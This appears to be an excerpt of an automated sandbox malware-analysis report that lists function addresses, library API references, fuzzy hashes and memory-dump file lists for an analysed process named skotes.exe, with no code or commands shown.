Opcode Fuzzy Hash: 6fd2132af8f5f2f18e1d4250251eec6d706f839ea2db00f5b0d14fa55afa5fd0
Instruction Fuzzy Hash: D4411A72E04704ABEB109B99DD05FDBB7E8EF56720F00417AF805A7652EB74AA04C7A1

Function 000A26B0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 207COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 000A2846
___std_exception_destroy.LIBVCRUNTIME ref: 000A28E0

Strings

t#, xrefs: 000A26D8

Memory Dump Source

Source File: 00000000.00000002.2182917529.00000000000A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.2182669159.00000000000A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182917529.0000000000102000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183000574.0000000000109000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183023491.000000000010B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183049504.0000000000117000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183174403.000000000026E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183198375.0000000000270000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183224746.0000000000282000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183224746.0000000000290000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183272831.0000000000293000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183296339.0000000000294000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183317982.0000000000295000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183338775.0000000000296000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183359688.0000000000297000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183383671.0000000000299000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183410807.00000000002A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183441616.00000000002A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183484425.00000000002BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183508664.00000000002C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183530942.00000000002C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183571136.00000000002D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183600749.00000000002DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183626520.00000000002E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183651042.00000000002E9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183675519.00000000002ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183715487.00000000002F5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183760013.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183798599.000000000030E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183816602.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183834127.0000000000316000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183854335.000000000031B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183873864.0000000000322000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183903490.0000000000326000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183931663.000000000032E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183967335.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183994600.000000000033F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184019272.0000000000340000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184058705.000000000034D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184080081.000000000034E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184080081.000000000036D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184134803.0000000000384000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184153740.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184177499.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184195693.000000000039C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184216554.00000000003A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184258734.00000000003A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184299165.00000000003B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184335891.00000000003B4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_random.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy___std_exception_destroy
String ID: t#
API String ID: 2970364248-134853180
Opcode ID: 78d4145a33f4c65b5a94e56fcf3298b6c469195c3e78cd223ce8e432a876cbe1
Instruction ID: 04c1f1363d357f1257890f5e6c6055e0ca832f80875d7dabce574b665604d56b
Opcode Fuzzy Hash: 78d4145a33f4c65b5a94e56fcf3298b6c469195c3e78cd223ce8e432a876cbe1
Instruction Fuzzy Hash: F9717271D002489BDB04DF98C885BEDFBB5EF59310F14812EE815B7346EB74A944CBA5

Function 000ADBE0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 189COMMON

Download Yara Rule

Strings

list too long, xrefs: 000AE09D
t#, xrefs: 000ADBE6, 000ADD2F

Memory Dump Source

Source File: 00000000.00000002.2182917529.00000000000A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.2182669159.00000000000A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182917529.0000000000102000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183000574.0000000000109000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183023491.000000000010B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183049504.0000000000117000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183174403.000000000026E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183198375.0000000000270000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183224746.0000000000282000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183224746.0000000000290000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183272831.0000000000293000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183296339.0000000000294000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183317982.0000000000295000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183338775.0000000000296000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183359688.0000000000297000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183383671.0000000000299000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183410807.00000000002A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183441616.00000000002A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183484425.00000000002BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183508664.00000000002C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183530942.00000000002C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183571136.00000000002D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183600749.00000000002DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183626520.00000000002E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183651042.00000000002E9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183675519.00000000002ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183715487.00000000002F5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183760013.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183798599.000000000030E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183816602.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183834127.0000000000316000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183854335.000000000031B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183873864.0000000000322000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183903490.0000000000326000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183931663.000000000032E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183967335.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183994600.000000000033F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184019272.0000000000340000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184058705.000000000034D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184080081.000000000034E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184080081.000000000036D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184134803.0000000000384000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184153740.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184177499.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184195693.000000000039C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184216554.00000000003A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184258734.00000000003A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184299165.00000000003B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184335891.00000000003B4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_random.jbxd

Yara matches

Similarity

API ID:
String ID: list too long$t#
API String ID: 0-1282745477
Opcode ID: 8f3e1916a4a2b8cb9c48f12095dd7d0a734785d98336b12862eecb601edd41db
Instruction ID: 72fbe747ea751bb5e45ecdf64728916471cf2c9d4d57c7ce332b0b232f561bc5
Opcode Fuzzy Hash: 8f3e1916a4a2b8cb9c48f12095dd7d0a734785d98336b12862eecb601edd41db
Instruction Fuzzy Hash: 1E6180B09047589BEB10DF64CD49FD9F7F4EF05700F1041AAE809AB282EBB1AA81CB55

Function 000A2900 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 94COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 000A29DF

Strings

t#, xrefs: 000A29C4
t#, xrefs: 000A2915

Memory Dump Source

Source File: 00000000.00000002.2182917529.00000000000A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.2182669159.00000000000A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182917529.0000000000102000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183000574.0000000000109000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183023491.000000000010B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183049504.0000000000117000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183174403.000000000026E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183198375.0000000000270000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183224746.0000000000282000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183224746.0000000000290000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183272831.0000000000293000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183296339.0000000000294000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183317982.0000000000295000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183338775.0000000000296000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183359688.0000000000297000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183383671.0000000000299000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183410807.00000000002A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183441616.00000000002A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183484425.00000000002BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183508664.00000000002C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183530942.00000000002C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183571136.00000000002D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183600749.00000000002DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183626520.00000000002E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183651042.00000000002E9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183675519.00000000002ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183715487.00000000002F5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183760013.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183798599.000000000030E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183816602.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183834127.0000000000316000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183854335.000000000031B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183873864.0000000000322000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183903490.0000000000326000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183931663.000000000032E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183967335.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183994600.000000000033F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184019272.0000000000340000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184058705.000000000034D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184080081.000000000034E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184080081.000000000036D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184134803.0000000000384000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184153740.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184177499.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184195693.000000000039C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184216554.00000000003A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184258734.00000000003A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184299165.00000000003B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184335891.00000000003B4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_random.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: t#$t#
API String ID: 2659868963-1898090486
Opcode ID: 2afd48e71880fd4da0c4997eab7530427229c781231606cf3684b85dce2c7f7a
Instruction ID: cebbb9dd78f3a42ab7f73b531c7f8e10d594d70fd1b7e5dd840bf37197da7d37
Opcode Fuzzy Hash: 2afd48e71880fd4da0c4997eab7530427229c781231606cf3684b85dce2c7f7a
Instruction Fuzzy Hash: FB31A0719102099FC714DF98C840BDEFBF9EB49720F14862AF514E7B41E775A954CBA0

Function 000A2B30 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 000A2B63

Strings

This function cannot be called on a default constructed task, xrefs: 000A2B43
t#, xrefs: 000A2B36

Memory Dump Source

Source File: 00000000.00000002.2182917529.00000000000A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.2182669159.00000000000A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182917529.0000000000102000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183000574.0000000000109000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183023491.000000000010B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183049504.0000000000117000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183174403.000000000026E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183198375.0000000000270000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183224746.0000000000282000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183224746.0000000000290000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183272831.0000000000293000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183296339.0000000000294000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183317982.0000000000295000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183338775.0000000000296000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183359688.0000000000297000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183383671.0000000000299000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183410807.00000000002A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183441616.00000000002A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183484425.00000000002BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183508664.00000000002C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183530942.00000000002C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183571136.00000000002D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183600749.00000000002DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183626520.00000000002E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183651042.00000000002E9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183675519.00000000002ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183715487.00000000002F5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183760013.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183798599.000000000030E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183816602.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183834127.0000000000316000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183854335.000000000031B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183873864.0000000000322000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183903490.0000000000326000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183931663.000000000032E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183967335.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183994600.000000000033F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184019272.0000000000340000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184058705.000000000034D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184080081.000000000034E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184080081.000000000036D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184134803.0000000000384000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184153740.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184177499.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184195693.000000000039C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184216554.00000000003A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184258734.00000000003A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184299165.00000000003B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184335891.00000000003B4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_random.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: This function cannot be called on a default constructed task$t#
API String ID: 2659868963-2092867519
Opcode ID: 46b351a2dd97ba672fc37836c9d8760c87baf28225d22055b1dd42b726066842
Instruction ID: ab9cd45007503f815066f60a17c863083a207610c9ea106a7ce9e3c3139b88de
Opcode Fuzzy Hash: 46b351a2dd97ba672fc37836c9d8760c87baf28225d22055b1dd42b726066842
Instruction Fuzzy Hash: AFF08C71D1030C9BC710EF68D8419EEBBF9AF15300B1082AEF94067601EBB56A589BA5

Analysis Process: skotes.exePID: 2016, Parent PID: 4072COMMON

Execution Graph

Execution Coverage:	1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1890
Total number of Limit Nodes:	9

Executed Functions

Function 00BB652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,00BB652A,?,?,?,?,?,00BB7661), ref: 00BB6567

Memory Dump Source

Source File: 00000002.00000002.2211661900.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000002.00000002.2211642134.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211661900.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211726487.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211745385.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211766707.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211882784.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211908376.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211935873.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211935873.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211984440.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212007165.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212027388.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212053040.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212075033.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212095083.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212115749.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212138577.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212161657.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212180221.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212199603.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212223956.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212244847.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212268954.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212291358.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212321805.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212339734.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212359612.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212381992.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212404685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212433729.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212455415.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212476561.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212499490.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212524826.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212560156.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212583740.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212604897.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212630026.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212648989.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212648989.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212709439.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212732275.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212760073.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212785203.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212807860.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212829136.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212857506.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212879557.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 7cc19ba7bb0e79d57238bc7fb22cf91d2470ce8bad7bef17cfdc6f08013199b0
Instruction ID: 7eee61282b2a2a0962329b5440b13e0a3ec86c404453e80755375c32fd34e304
Opcode Fuzzy Hash: 7cc19ba7bb0e79d57238bc7fb22cf91d2470ce8bad7bef17cfdc6f08013199b0
Instruction Fuzzy Hash: 25E08C3000120CAFCE367B19CC49EAC3BA9EB61746F400851FC1846222CBA9EDA2C680

Function 00B89BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON
